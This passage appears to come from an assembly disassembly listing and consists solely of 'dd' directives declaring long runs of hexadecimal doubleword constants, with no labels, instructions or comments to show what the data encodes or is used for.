		dd 55F3F705h, 247E44A0h, 8FB8A10Bh, 0DEA0F2E4h,	7CF85964h
		dd 14D3F72Ch, 8788A104h, 15C07F07h, 0D0203CFEh,	80652221h
		dd 52704E01h, 0C000A7EFh, 0D28EE84Dh, 542369h, 507FEBE7h
		dd 0D592020Dh, 8499F490h, 8918EED1h, 2ACE13Fh, 0E4F9205Dh
		dd 0DEA8E89Eh, 13A74A7Dh, 0A3409E0h, 709D30C2h,	60809308h
		dd 6511A56Fh, 131CAB06h, 1D5881EBh, 0A42BEFD0h,	18F3743Ch
		dd 62DE007Dh, 0FEF46606h, 30E322EFh, 0AF59BECDh, 190B04E4h
		dd 74C9842Bh, 8C808C34h, 0E5C7CB05h, 1C8E97F0h,	0C7CCAA01h
		dd 0E48D5904h, 0CF07E9D4h, 79EA3A2Eh, 40C8FDD2h, 0D7BAEB40h
		dd 23982FD0h, 366F00AAh, 0FA7AB9E4h, 5E4CC500h,	0B164EFB3h
		dd 1868F871h, 10248761h, 0F401EA50h, 69EBE90Bh,	0A4FC8AA3h
		dd 6673039Ch, 2E6BAFC5h, 21860830h, 0A460A9h, 943ED18Eh
		dd 85BB0724h, 581CB200h, 953CA869h, 0ECA400C4h,	1E0CA978h
		dd 463AEA35h, 42E803Dh,	0C9BCDA39h, 0E78B0026h,	5B37D31Dh
		dd 0E500B26Dh, 36749F27h, 0C4806Fh, 503D8E01h, 0DE835778h
		dd 702CF40Eh, 6DA5E0B2h, 1BB52Eh, 45DD2135h, 0C5DBF66Eh
		dd 3E83CA00h, 858A9703h, 0DCB10E5Dh, 0B320137Ah, 0EF6AF86Ch
		dd 9683EA0Eh, 91B0A023h, 0D7E16Eh, 2E7EE6D5h, 6670AAA4h
		dd 0D896B00h, 0BC2DE2EBh, 144F3A01h, 77FCB100h,	8ED48CF4h
		dd 0E833ADF6h, 1A0996h,	8CECD721h, 3CCF201Eh, 0D584B600h
		dd 0ADE4F88Ah, 17F03164h, 80104F28h, 1B258731h,	8E8566h
		dd 0C89271B8h, 4311E9B6h, 770183F6h, 17CEBFC1h,	0EF389F5h
		dd 81D81C41h, 0E03B6E00h, 0D366674Dh, 7B211B08h, 0BB8100A5h
		dd 0B836F723h, 0DAE0F00Fh, 376E6300h, 0BE141CB6h, 0E32F0F8h
		dd 0A3E24CB2h, 3F5090F8h, 20E76236h, 0B50CF10h,	4CA44C1Eh
		dd 0D4009111h, 0A86AF454h, 0CC32C070h, 71214809h, 0E454D700h
		dd 0E351F3AFh, 12773036h, 0DC82FDC8h, 1EE09160h, 6BB5232h
		dd 1A93E06Ch, 8C0D88B5h, 801BB658h, 30B87883h, 1003092Eh
		dd 91AC3C64h, 7A81A079h, 0E861002Ah, 14176E11h,	0F400AA97h
		dd 0D0E1BD10h, 14DBDF05h, 0CA825942h, 51210B30h, 2C00CF1Fh
		dd 0D1E0F8C9h, 7D25E4E6h, 19E10085h, 0DCDE034Ch, 761F1F95h
		dd 968023F7h, 384F7870h, 949C0118h, 0A9B42BC6h,	0B6508C5Fh
		dd 7F088Dh, 52E03466h, 0B773DAECh, 3E4583Fh, 4B3884Ah
		dd 0F7800709h, 1D2592h,	0A45ABBB9h, 0FB99BE00h,	2B8AE555h
		dd 287F60FAh, 6618277h,	7BC1980h, 55A44C94h, 71A556F4h
		dd 0FF7AB018h, 0E42630h, 0BAC4869Ah, 20AE542Ch,	310138h
		dd 2B6698EFh, 712816h, 0FAD93B52h, 0FDFECA59h, 93963600h
		dd 0FC44835Eh, 8AAB00AFh, 88D01D9h, 0C2054FE0h,	57FD948Ch
		dd 0C3992080h, 0F73A00F5h, 0E40E5A9h, 5F51A3E7h, 0C88D6090h
		dd 0A2738800h, 5E71B508h, 0E1E4076Ah, 24F3A5h, 981149FCh
		dd 6E00F9EEh, 0B66C9680h, 1A27017h, 1851C0E6h, 0E0B3FB0Fh
		dd 50FE112h, 0C3B50E32h, 0C32472h, 881F7A48h, 0B381F0F9h
		dd 800A1118h, 14CE10h, 15D7BAE5h, 0BDDFF584h, 31308574h
		dd 1CCB2081h, 76173EE5h, 29D93C00h, 570EC3D1h, 1F3341C3h
		dd 0F0EBABB7h, 4467D61h, 91D164Ch, 7EB01976h, 609919E0h
		dd 0BCE811A4h, 5F030249h, 277D6AC1h, 0ED0830B9h, 49C36521h
		dd 855A4200h, 480C9B2Fh, 72F80346h, 0A27D671Ah,	86F4B4B0h
		dd 120604E4h, 7AA6C688h, 0AFE00071h, 5BF82034h,	0FB330AD4h
		dd 0C60863h, 34B4BB21h,	0F7435A5Fh, 42F1F9FBh, 0AE30C724h
		dd 21F8FC34h, 0C591D5B3h, 34B7BA00h, 5A9B77FEh,	3EB6B501h
		dd 0E12AD47h, 6133FE8h,	2CD4F888h, 0F5006084h, 0B97B0CE7h
		dd 0CF1EA6h, 0BBC0939Bh, 41ED6DD3h, 3B5A8900h, 71E07534h
		dd 0CD7B018Dh, 81A58F99h, 0A8D2C4C1h, 306E7800h, 0C9D071FEh
		dd 58775Fh, 6509B10Ah, 0B03AD8B4h, 80F5EB3Eh, 0BF5BA5E5h
		dd 93CF4Bh, 0BA33606Dh,	0BDB0E129h, 40FE7A00h, 95BCE359h
		dd 0FFE90081h, 0A528BE33h, 1E000F41h, 3190C66Ah, 0D4CE6Dh
		dd 9C7FD2CBh, 3DD08534h, 440107B8h, 1B6865F9h, 52C82E5Bh
		dd 0FFF299h, 0A7A4137h,	0F60DB90Ch, 7EB86400h, 0BB54734Eh
		dd 55EA014Ah, 0BD12B25Ch, 0B976D05Dh, 920020D2h, 551903BBh
		dd 0B675006Eh
		dd 0FCCE4BB4h, 93FCFDA8h, 0D2648C1h, 2C4829B9h,	0AEBC04F8h
		dd 2C5DF5EAh, 0BB501FB0h, 0AFFB40B3h, 2BF5BCC1h, 2210ACF6h
		dd 0D0E4E4Fh, 8940BD59h, 34B36185h, 8A1B270Bh, 23AF03F4h
		dd 0F0290C51h, 2DCABF60h, 21A23Eh, 68A789BBh, 220E5Eh
		dd 12C617E0h, 4EB23CD4h, 67CE4F18h, 613B68A9h, 60514957h
		dd 0EA198092h, 106E617Dh, 7694773Ah, 7C1E791Fh,	3085608Dh
		dd 447F46F1h, 0F515CA0Ch, 0D23974h, 0D40CCF8Ah,	9B6FE5F9h
		dd 1360EB00h, 1D5BBB9Dh, 0B975149Ah, 2823C450h,	9FBB5701h
		dd 9858EDEAh, 0B1608A7Bh, 0FCE6BABBh, 9652640Ch, 0B88920h
		dd 2A86CD23h, 0A271DBECh, 8BA3810Ch, 9338BBh, 0CF32358h
		dd 6F9229C2h, 8413933h,	0FB413F0Eh, 0D35FF301h,	8063F53Bh
		dd 79059691h, 1E0E2D94h, 80913EB1h, 0E67535B7h,	6814DBE0h
		dd 869C60FDh, 30A97A31h, 0E2590C8Ah, 49008B77h,	10C52C38h
		dd 0B404BE6h, 0D9C7D851h, 1851C00h, 0D024A87Ah,	0EF8624D6h
		dd 2B9BA15h, 8A38FC70h,	0A8C17C7Dh, 50ADE147h, 98F425D0h
		dd 40247290h, 0BB401821h, 72B7148h, 6956518Ah, 0CE1140DCh
		dd 0FCA088D8h, 0F8955B20h, 0B810363h, 66F4CC9Ah, 7B39F17Dh
		dd 0AFEC0036h, 0CB333D78h, 0B2FF1404h, 630998C5h, 7810CF47h
		dd 0FD1D6425h, 833BE342h, 26BE4DF3h, 5E89007Ch,	0FD552449h
		dd 7D4CCE79h, 6208660Dh, 0A13B0021h, 0FBC11424h, 60F4529Fh
		dd 0C5E90B00h, 0D1D4536Dh, 3BB60791h, 0C011FFA4h, 96E76C03h
		dd 38AC1328h, 4B01B446h, 49FD5324h, 88680CCFh, 2438A33Dh
		dd 4D8886B9h, 0F195621h, 96BBB1ABh, 44D49BA0h, 631C6DDBh
		dd 0BF406E2Fh, 0E88D0553h, 756A00ADh, 45D69BB5h, 8124A3DFh
		dd 26C030BCh, 46C3BDF3h, 750F2211h, 45F304FAh, 0C058BC84h
		dd 0F95B1E01h, 0B32FC100h, 0EDFE9871h, 0A15D0290h, 0A3C411E0h
		dd 4851BE60h, 41200890h, 65F88080h, 0AD970063h,	0F655B2A3h
		dd 2153A54Dh, 24440284h, 31A1FD52h, 0BC3C1051h,	86160324h
		dd 5C26F15Bh, 2450813Ch, 8B90607Ch, 72227680h, 0EE1EC7B7h
		dd 535F563Dh, 0FFF72A00h, 1E82D360h, 0C8F367ACh, 0F880E078h
		dd 7C2724E8h, 0C8A800A2h, 219BBB2Ah, 80FFE6EFh,	1AFEDE59h
		dd 2F7C990h, 187F3BCDh,	2C49306Dh, 2978D79Ah, 122C1E78h
		dd 0EC0F6D78h, 53DB04F8h, 207C8482h, 81A8E7EFh,	0D82130CFh
		dd 90AF5A39h, 8BE400EBh, 927DA982h, 5893FEFCh, 809CA215h
		dd 0FD512445h, 4D448C99h, 24BD003Fh, 3EBA25C5h,	7F677630h
		dd 49417481h, 8050B378h, 3DBAAEh, 62A65526h, 9DAFCD7Ch
		dd 21C0D0E8h, 153CA50Dh, 220624F9h, 64174044h, 0F70BDE8Ah
		dd 0AD8590Eh, 861D44A8h, 0A379600h, 740D896Dh, 0B8D2A1Eh
		dd 972D3B90h, 0E6C19D80h, 1DE5CE61h, 8277D772h,	0ABD2ED01h
		dd 3EFC65FBh, 26C0F088h, 57249F60h, 22A946FDh, 97190067h
		dd 0D85FD124h, 0C700DEB3h, 31C49585h, 24053D38h, 148852FAh
		dd 4F238021h, 200AB728h, 809D1655h, 0A7408664h,	52313DC0h
		dd 7675CE03h, 98D6Eh, 502A98D1h, 9536493Fh, 0A7288300h
		dd 2D0C6016h, 0D0BD0BA9h, 1C1D0A1Eh, 23877A11h,	26FA8305h
		dd 40F422E3h, 1BAF040Ah, 74B049h, 5B48DAD8h, 5F2E606h
		dd 29799A31h, 0F0609F7Eh, 53028C0Ch, 4DEA4BBBh,	1380195Ch
		dd 0CBBBF0D5h, 0D3041692h, 0F5B820F4h, 76002C19h, 0F2DA9B8Bh
		dd 6456DB2Fh, 670B60A0h, 0EA98BBB0h, 676CA4A5h,	21AE217Fh
		dd 228D73BBh, 71B900D8h, 0CC61941Dh, 0AB690001h, 535D5BADh
		dd 0EF0429A0h, 0FAE1B88Bh, 1387B08Ch, 2FA23B5Bh, 122368h
		dd 63B829F0h, 7B28AB3Bh, 9A1370F5h, 7200C35Fh, 0C2CD686Fh
		dd 26EC982Dh, 0BC64468Dh, 8A80D9B9h, 0A151D36h,	923FF823h
		dd 594602A2h, 0C4EB7AE9h, 2BD46E4h, 0C3BAF30Dh,	10153119h
		dd 0F30EF9h, 0DFFE866h,	1E788936h, 3439D100h, 0FCA9B33Dh
		dd 80E8ABB1h, 1C3F853h,	1E6AE707h, 36A29DBBh, 7472E7ECh
		dd 80B48870h, 904864BEh, 0B9F32260h, 91F1C314h,	0BBEB0A8h
		dd 816903F3h, 14C20805h, 185B6EE0h, 65CC5018h, 0A9458A59h
		dd 0E0E62BA0h, 0FA513EBh, 63A49C69h, 1F882A40h,	31C06BF5h
		dd 0CC7EA20h, 5F730441h, 0CE72DCD6h, 0C04A887Ch, 0F1EF77CAh
		dd 0C0445958h, 9D752538h, 0F6A8A9E2h, 6D5460h, 8B19ADECh
		dd 0CF114E3Dh, 95B75B1Fh, 5550DD00h, 0B24AABh, 58CAAC7h
		dd 0A16E7A43h, 717D2130h, 39259832h, 781D3107h,	612CA455h
		dd 0D457707Fh, 0B300E2A5h, 0B30B18Dh, 7B8EE6AEh, 446D5C38h
		dd 0FD8C4AECh, 3A108881h, 6048FFBDh, 9344E730h,	0E4B954E4h
		dd 10342699h, 7A467404h, 0A7A63600h, 478C62A8h,	6E30D350h
		dd 0A4B24Ch, 0C4DEB56Dh, 395A404Ah, 3280BD60h, 5420848Ah
		dd 2D02B325h, 0D5346C6Dh, 44E867E4h, 8B056064h,	0F23A004Ah
		dd 0A87883FFh, 44A1D5D4h, 0C03C7110h, 1E4C69E7h, 8CE2E8ECh
		dd 8A240B90h, 0CD9E1447h, 0E2598BC0h, 6BBE60h, 0FF9D58AFh
		dd 0F6C00C14h, 13D19491h, 3301B118h, 598C34F5h,	5060F047h
		dd 0E944A076h, 2FFC00C9h, 0CF548BB5h, 0C7016824h, 0A580EAEBh
		dd 60C8D0B7h, 43F4944Ah, 1DBD9F2h, 8D98A0B8h, 0CC3A0A1Fh
		dd 233627C0h, 3CC5B2C9h, 0C0956D88h, 7718A84Ch,	7AB71E8h
		dd 0C858C700h, 3892BF5Fh, 0B578008Fh, 0F79BA867h, 0B893A34Dh
		dd 50244601h, 8C2871FDh, 24BE3EB0h, 0D9475600h,	0ED85418Fh
		dd 3F5305A3h, 4B0A8A26h, 0C809684h, 77D7B935h, 0C2D46600h
		dd 8D37427Eh, 0F27C00EAh, 0B99B4975h, 6B48923Ah, 13E32168h
		dd 212421F0h, 51798058h, 4FF81FD8h, 50843A9Eh, 583CCD26h
		dd 0A1B043EAh, 5BF5FD00h, 0BC027169h, 0E22D13C7h, 0C8808BF2h
		dd 0CC46C081h, 78B87142h, 0CEA33700h, 5B1E0F2Ah, 0D4472652h
		dd 575D60D8h, 0CD006AB0h, 0ED5EEFABh, 67F5891Bh, 0F2C717Ch
		dd 0D98B4220h, 0D81CC355h, 154007D0h, 1193C27Bh, 65BD03C4h
		dd 897917D4h, 0E7831C0h, 0F48040B9h, 0D957419Bh, 0A08400E9h
		dd 73DE948Ch, 8D7F0947h, 3FF7DB01h, 0FE784DAFh,	0D6AC99B8h
		dd 7C4B072Bh, 4CAD5080h, 0D50939BEh, 60086C46h,	1EEF8828h
		dd 0D41ECB58h, 0C04CD768h, 3CC06581h, 53A0203Fh, 2EE0C300h
		dd 3B5A0231h, 540E004Eh, 0CE235298h, 0C600F384h, 1D3DB7C0h
		dd 0F0DE4BC2h, 0DF7A1FD3h, 1D125CD4h, 9EA947F5h, 0EE58D105h
		dd 3770802Dh, 3E60EF6Bh, 225B1489h, 1783FC20h, 4188FD56h
		dd 0DC0FBEF3h, 4FA13CC6h, 0AC6E8A4Fh, 79341180h, 2C912AEh
		dd 0F2526681h, 10446750h, 0EC408B4Ah, 0BACE0DEEh, 6BDD0F32h
		dd 0A200EA57h, 6DFF28BBh, 0FAA9B209h, 5874C84Dh, 541E003Eh
		dd 3F1B9926h, 0F8078EC6h, 0E452ACDh, 0E36B1500h, 7C8B4843h
		dd 6E5C2F87h, 70A7E567h, 0A261AE46h, 0FFFBFD2Eh, 4D7C9E05h
		dd 90E8EC83h, 61FC684Bh, 0CBD5E97Bh, 40728Ah, 0DEE43408h
		dd 0EADDFB51h, 437C04C1h, 0C0382A25h, 0D4766B80h, 8FA7A9C0h
		dd 724BF073h, 0F342045Fh, 80C0DF80h, 9EFEDE3Eh,	1A4FC400h
		dd 8FF123CDh, 742CE3EFh, 4B2C16C0h, 0AC03D305h,	12942DA8h
		dd 0C367F870h, 54863988h, 0D2373380h, 0F5105993h, 0A300F0B9h
		dd 0C27897C1h, 9605003Bh, 0C60D45EAh, 2AF01FF1h, 10338C01h
		dd 5223B895h, 5A27E980h, 36547237h, 0A3219100h,	673C2B49h
		dd 0E0AD0966h, 84024213h, 1C516E6Bh, 90760200h,	58DE63C3h
		dd 101C49F7h, 0ECBFC018h
		dd 0E6A9AC80h, 0DF195800h, 9A7D69C7h, 68F63021h, 106309A9h
		dd 0F006F907h, 97407AC4h, 2C9CA0D7h, 3F6CB74Ch,	0A8DA7615h
		dd 0A1FD601h, 0F0545C49h, 42C92D5h, 4026DFFAh, 13FE941Eh
		dd 58207848h, 5A3ED8h, 0CEC195A8h, 51A9B0DDh, 2FDC3501h
		dd 53DF2328h, 184076EDh, 38860CB2h, 928035A6h, 2EC41FFFh
		dd 0D2E2B5E6h, 0B0FAAF01h, 68452783h, 0FF32802Ah, 0E900021Dh
		dd 3DFEAB42h, 0E08E64Ch, 8999A59Ah, 91C05700h, 0DC12BA6Dh
		dd 0A8042AD4h, 8088F584h, 8D610121h, 0B066E0F8h, 6CEBD0E8h
		dd 54377816h, 0D8D38700h, 0F28CDF7h, 0E707C512h, 0D901AAE7h
		dd 0C42AE468h, 87D33100h, 4F5136ADh, 5D03008Dh,	80E8D5CAh
		dd 6009A77h, 4DC4DCB8h,	88572165h, 0C60218D8h, 8AC72047h
		dd 0B4704842h, 0DA8400EBh, 27CE3EF8h, 0F44AC873h, 464B0C40h
		dd 7E0938F1h, 8ACC1814h, 0CD508908h, 0AF58F005h, 0C0BA3FADh
		dd 0D4D8E75Dh, 0A1FB700Fh, 1125E129h, 3FC9A73Ah, 0B5002063h
		dd 4245B3F3h, 0DC985E9Bh, 3C5B10EFh, 82D33071h,	23907338h
		dd 3984E48h, 4B3D9D8Ah,	0A87C812h, 4F6709D4h, 44EE7733h
		dd 0C055C600h, 0AC8CF21Dh, 67E800E1h, 96D1FA9h,	93016E0Fh
		dd 9860AB34h, 0EC42441Eh, 7630618Dh, 0D4C4C6h, 0D547C713h
		dd 0C28C1C2Dh, 7FB0F600h, 3968A0EAh, 0FBF10BBDh, 646469D1h
		dd 0C820BA02h, 0E00D5427h, 3D32D9BBh, 1D004288h, 1C37B1BDh
		dd 0E18C338h, 0DEE86DC4h, 1E6C9h, 0AEC5FE71h, 68868B17h
		dd 8000C65Ch, 38413F51h, 5B3D2FA8h, 8CB467C3h, 0FC009BE0h
		dd 22F0E3C9h, 0E517BBBh, 8AA668BCh, 14245807h, 47CCC8F5h
		dd 263C9C3Ah, 0C6003451h, 0EF25D4FAh, 4A8B9E4h,	0CDBC982Eh
		dd 5A03E4A0h, 7C052C0Eh, 60A080C0h, 263715E8h, 8568ACh
		dd 9BBD44DCh, 9105CD1Bh, 0EEFEB514h, 0F12C2807h, 2517E782h
		dd 163CB420h, 0BFC54D1Eh, 81D8F8C0h, 17A1E658h,	887888ABh
		dd 0C506BB18h, 1F19F5C6h, 8CC752D8h, 2C5BF80Bh,	0B4593C85h
		dd 44498BF8h, 80773B68h, 0FB863461h, 18111219h,	0F82310D1h
		dd 5C0266C5h, 0E639CE1Fh, 3685276h, 6D281E9Eh, 96D8742Bh
		dd 0D1001249h, 0A1F11479h, 1D8E13C6h, 85664417h, 0CD96D963h
		dd 5C22EC74h, 18E0A670h, 0DD79C700h, 50B52FA0h,	4E61C331h
		dd 0DBE1E25Dh, 0C8231Bh, 7759D7FAh, 50B9BEFFh, 760C23h
		dd 0F22C7942h, 0FEDCC188h, 35B6F40Bh, 0C938011Fh, 0E910B19Dh
		dd 0E4027AAAh, 6908125Ch, 28EA6173h, 489C8070h,	3F216CBDh
		dd 12FC6180h, 6BAEA3h, 0B9EFBC5Fh, 0E787E15Ah, 25C0A800h
		dd 0CD2AD313h, 1BA7222h, 0C4DF1FA4h, 0C1479B56h, 0F64993EFh
		dd 62E61020h, 66E0399h,	0B93A92B6h, 861AB038h, 76C36A02h
		dd 89D8B558h, 904C9888h, 58B0A000h, 1015BD63h, 0B27409F2h
		dd 0A81B6EC5h, 0B568A6D0h, 11F38001h, 401EF0C9h, 5A5E8E0h
		dd 3ED9293Fh, 70A399h, 0F60A8FE3h, 0E081E42h, 13552AA4h
		dd 87ECA9C1h, 8689ECC5h, 0E1D5F03h, 17CEBEFh, 24D4DE39h
		dd 40784BBDh, 2D0B270h,	802A8138h, 0D4A5648Bh, 13051A19h
		dd 0E25725Ah, 0CB0555F0h, 0D5F080CCh, 0A0073999h, 0ECFD955Dh
		dd 0E42C23B1h, 0BDF03E4h, 0E53C27FEh, 448A84B0h, 0F82988A9h
		dd 0EF1257B3h, 0EA005551h, 39927919h, 18050977h, 0D4084B61h
		dd 9D380458h, 715080BAh, 0ED002F48h, 9C61C4C3h,	0CBFDDE54h
		dd 3C0182D0h, 1771F580h, 61CD0740h, 0FE290FC1h,	91641C9Ch
		dd 289CCCAAh, 0A9BCB014h, 299C00C2h, 0C4C9F7BDh, 34C5072Ch
		dd 257BE73Ch, 9CB225h, 94906B6Dh, 11DB0F9h, 0CA44DA2h
		dd 48F4AB2Ah, 0EB00C0E4h, 3BAFBFE7h, 0BB2999h, 77BB335h
		dd 2B3E4716h, 0E0B850F6h, 46061B04h, 0A8407E8Ah, 0DB123070h
		dd 1507E400h, 5FC98F19h, 0FC762AA1h, 0BFCF07D4h, 0B70EEE45h
		dd 705473Dh, 0FA4D7030h, 9160F94h, 3C2022D1h, 0F73EE16h
		dd 0E717D9D7h, 0BD19578Ch, 2F546D1Ch, 0FE68C142h, 0DB762385h
		dd 0EDAF6900h, 3C1E04FBh, 0A629001Bh, 0ADC73BA7h, 0ACE851BAh
		dd 0C6DCBD00h, 0F7748B80h, 0C325135Bh, 50C03097h, 300711BAh
		dd 126B38F2h, 1D8D710h,	55B0180h, 444C7BC6h, 0C3475A8h
		dd 0C70041DCh, 0FAE63B0Ch, 75BA2611h, 9C80A4A9h, 16834078h
		dd 620047E8h, 4A1F2CD6h, 0C0AE7330h, 60EF9F50h,	6B00F703h
		dd 0ED059C10h, 3DB9C55Bh, 0B065FCAAh, 74F29Ah, 0FEEDA644h
		dd 0E6DCD208h, 26CD0404h, 0B4CE5001h, 0C43C11D8h, 5C321F95h
		dd 713D3705h, 34555CC0h, 0F0EF13A8h, 59FC2211h,	0FF699520h
		dd 7A8207B0h, 0D737F52Ah, 1BFE302Ch, 7413B88Ch,	8430BAEFh
		dd 3DD8B9h, 0B3106461h,	3CE5AD7Ah, 6D0A791Eh, 926F3A40h
		dd 4C042FB7h, 0D4115024h, 3C584Ch, 12801734h, 1FDE901h
		dd 5B1A43E4h, 30D34B9Dh, 0D64EA98Eh, 90BB1830h,	0A096486Eh
		dd 35B2C600h, 54778E17h, 317740B8h, 7AA47550h, 211DF0DEh
		dd 0D09AA933h, 79ED90D5h, 0A75F0CCEh, 0B2207471h, 78488D32h
		dd 6F58C09Ch, 68B8406Dh, 8A68C259h, 0ED80282Bh,	9BC0EE7Dh
		dd 0D87386h, 0D9DD19CEh, 4A586C83h, 0C08714Eh, 65F88281h
		dd 0E481E064h, 11512084h, 802F5DC3h, 6A091E5Eh,	0D5331B00h
		dd 8443D973h, 0C13F3CECh, 6B1A6500h, 0F6203D81h, 0A1005891h
		dd 0BF9F4B3h, 27FE5AA8h, 53455870h, 0E800E8A2h,	0E0AFF1E5h
		dd 12002459h, 9DCF22A2h, 1BAF574h, 0C072DA07h, 0F160FE06h
		dd 3646027h, 25CD261Fh,	0D286AE82h, 6A00C1C4h, 0AB5CF117h
		dd 0BC3AE82Fh, 0DF11EA05h, 60D1A2C9h, 0CE44D43Ch, 0CC00401Fh
		dd 8247490Dh, 30853A2Ch, 0FF4DDA81h, 0D41A11CBh, 4200C0CEh
		dd 35EB586Eh, 0A423C12Dh, 9D3ECB8h, 2017F973h, 0C270F03h
		dd 0BF1D1CF8h, 0C89AED09h, 0C00C0077h, 24DCBCFAh, 838F2D4h
		dd 0F68C84FCh, 39AB962h, 0E6A60C86h, 17FB28D9h,	3ADE6698h
		dd 0EFA5EE00h, 0AEFD2EABh, 25071FEDh, 9239B0F5h, 6302BDCAh
		dd 74BFA287h, 9D5DC0A6h, 0AE370524h, 0C7580B30h, 800634D8h
		dd 0B16AD6E4h, 0CFE77300h, 0FC4F640Ch, 0BC0F0CC0h, 3289831h
		dd 62EFE00h, 0EDA83D10h, 1E87F071h, 0B41480h, 34BC399Eh
		dd 104FAC97h, 0DEE08C27h, 0AA58AFh, 0DFFAA8EEh,	9D6DD0BBh
		dd 85FD471Ah, 77D466F1h, 0CB6B008Dh, 3F8AE563h,	650F6E40h
		dd 0C0A4C4E2h, 94419D1Dh, 34B2006Dh, 81ABE94Bh,	49C7D976h
		dd 0EF444EE8h, 9D5FF6C0h, 7D900044h, 3BB5720Eh,	45001D8Eh
		dd 11A2EDEBh, 13038633h, 8872DB7h, 39807F30h, 0A934EC98h
		dd 41F64E21h, 1A9F4C88h, 9D03E096h, 1D78D800h, 3CB1F1EDh
		dd 0D16501A0h, 9654DECCh, 0CDF94450h, 0DA0FE03Ch, 353AD024h
		dd 1460F117h, 17F65B2Fh, 3CF8904h, 0C5689C6Ch, 77B82113h
		dd 9FDF2C90h, 51FA1DF1h, 2ABA00BBh, 0FE45849h, 0D3FF0E00h
		dd 0F70224F2h, 14980665h, 0B97E6050h, 614088B4h, 10FCEB4h
		dd 577A48BAh, 0C2345A46h, 63527F60h, 794BC231h,	9F10E076h
		dd 4909B04Ah, 0E4A8D32Dh, 9A5F8A0h, 7DCE4F51h, 10469849h
		dd 181F5E7h, 0CC39414Bh, 0E8F28C0Ch, 549E4CF7h,	0A003924h
		dd 6E205381h, 34244CECh, 1999B07h, 8892FEC4h, 0B701DC30h
		dd 5BEFEA33h, 0C2C4CB91h, 0DDCC02D8h, 56933894h, 0D995DC61h
		dd 4DC5D0E3h, 4C51AF13h, 1ED164C8h, 40F49E52h, 311690AEh
		dd 68003036h, 0FD4221D2h, 3BE2F3Ch, 8DD811A4h, 88959720h
		dd 8600955Ch, 2FBB9F49h
		dd 507C88Fh, 0FA92AB3Fh, 0D0D48603h, 0BD8B3800h, 0C8A9B34Ah
		dd 3A1101C4h, 9A7C0DA8h, 8E20891Bh, 72CC18EEh, 0DB4C0E2Fh
		dd 817DCA24h, 0E16E8DDEh, 16EC70CDh, 2300DDE0h,	0E5521165h
		dd 2533101Eh, 4C100D78h, 0E930454Ah, 2E69E443h,	4F460081h
		dd 10FA18F4h, 582829D0h, 871D8C7Eh, 9805C5BAh, 8585DA84h
		dd 0E900D0E2h, 70954475h, 0E00745Bh, 7F1BB657h,	1273FEBEh
		dd 46C13E6h, 8CCF5858h,	470EE308h, 0A380FBA1h, 8CD4DFh
		dd 993790F0h, 0AAF1C6DEh, 0CB657998h, 7C407F7Ah, 82AD11CEh
		dd 0C78D00D7h, 0A02EE578h, 9972D46Bh, 5430224Eh, 0A0CDD3FEh
		dd 2C8466A0h, 401879A2h, 96119146h, 0AAF4E8C0h,	9C23B362h
		dd 0C7B99E04h, 6ACF80h,	0A9EB2FC8h, 7D162774h, 70606362h
		dd 19BC5238h, 0A1693250h, 74402F8Ah, 30B10AA2h,	0D72E00DAh
		dd 2301F065h, 7A4421EBh, 3BD80755h, 0F9FEF34Dh,	2836F410h
		dd 4012E201h, 0FC27CE0Dh, 0BD833C68h, 7AE8FB11h, 76C14764h
		dd 0F53D313Ah, 5B006469h, 0BBADD31Dh, 7C00D0C2h, 0C0F5FDBh
		dd 9691F2FBh, 0ED3DE030h, 0ECB989D0h, 9140709Fh, 1BA81F07h
		dd 0C355165Bh, 6CB0108Fh, 56509809h, 0B214B0DAh, 9CECFBA9h
		dd 1B011500h, 4DCC11Ah,	57AD2AC3h, 3160B49Dh, 1CF44000h
		dd 69CEF7B6h, 74591FE1h, 45A3C014h, 3BB4C5D3h, 0C226A000h
		dd 0A2442A5Ch, 0F1CB921h, 0C840EA02h, 0CCFA951Ah, 54C46000h
		dd 81524CA1h, 942939AEh, 8B22451Ch, 0FC8172EDh,	70F43D25h
		dd 9807D8CCh, 97C41181h, 0EB081580h, 63FB7B52h,	4167B90Ch
		dd 0C0A0C4B4h, 0F5B37CFh, 0FB84919Dh, 0D3DCCh, 3CBD0859h
		dd 911E377Ch, 7504D273h, 2F9954B5h, 98955880h, 0A4FF5D68h
		dd 4F4A8480h, 0F8902337h, 0DE0438F0h, 216A96C7h, 3F98C8h
		dd 67477DF0h, 91127F15h, 195203Dh, 3A1F25FFh, 10302675h
		dd 0EC1695FBh, 0CB8F3901h, 6D28DC79h, 0D0004423h, 7E14D144h
		dd 0DF39500Ah, 313F8410h, 34F47856h, 0DDCA07DCh, 0A7FC8F84h
		dd 5CE419EBh, 3075511Dh, 0C6523BC0h, 24545E3Dh,	0D49862h
		dd 0D56273Ah, 47254EC3h, 585C10FEh, 81D14B19h, 80FD764Ch
		dd 0CABE4B19h, 76CF2768h, 2B4200AAh, 3B6E2382h,	0EF001C29h
		dd 450BFB5Ah, 12C4DE65h, 0A4214638h, 4D002958h,	3999B5D0h
		dd 7A07616h, 0FEE0DE83h, 0F0DD70ACh, 6C902DC8h,	0D35DF200h
		dd 340E57BCh, 42070B58h, 78E89D5Bh, 7F06062Ch, 7B835C6Ch
		dd 68BE016Ah, 0F020157Dh, 0C954709Ah, 281228B0h, 7020D747h
		dd 7F1F63Fh, 0A45701C2h, 80C624C3h, 38683E18h, 0C500EC91h
		dd 0EFDBC85Fh, 269D016Bh, 3E2CFD73h, 22DFD4DDh,	0E59D3C96h
		dd 0D66814h, 7F18D997h,	12449C89h, 926C594Fh, 386CC4C8h
		dd 0B777104h, 0E0B9E8EFh, 21E0213Fh, 0A6C842B0h, 8604AE00h
		dd 0F20216EEh, 128B38ACh, 4659398Bh, 10C65000h,	2102DEC0h
		dd 1ED0E76Dh, 66CD845h,	0FC473BE6h, 0CE12F1B2h,	5C0F569Eh
		dd 84058A31h, 0F1693840h, 0B2011297h, 88602023h, 3E003278h
		dd 47B72057h, 0EA6D33h,	0ACCE9A5Ah, 8D0A0EC6h, 5C002C91h
		dd 0AFDB16F4h, 8E4138BAh, 0D4B83D87h, 0F8C6249Ah, 80BC5C20h
		dd 0ED8CDE23h, 9AB40985h, 4C64AC48h, 10A9C501h,	0C0BD6A4Fh
		dd 0EA4194ECh, 0EFC70158h, 0D09D338Dh, 0A226D856h, 0D65CAB02h
		dd 0C024B182h, 265D905Bh, 1BFCA08h, 0E086EE2Ah,	0A4209CD1h
		dd 8AC01C0Fh, 3000F871h, 2ED5A19Dh, 8E390037h, 7E82D4A4h
		dd 10038B1Ah, 38349CC4h, 39190083h, 7CDFE48Ch, 0E000550Dh
		dd 21A59C7h, 16DB3Dh, 751FDE1Bh, 58314901h, 2C883B00h
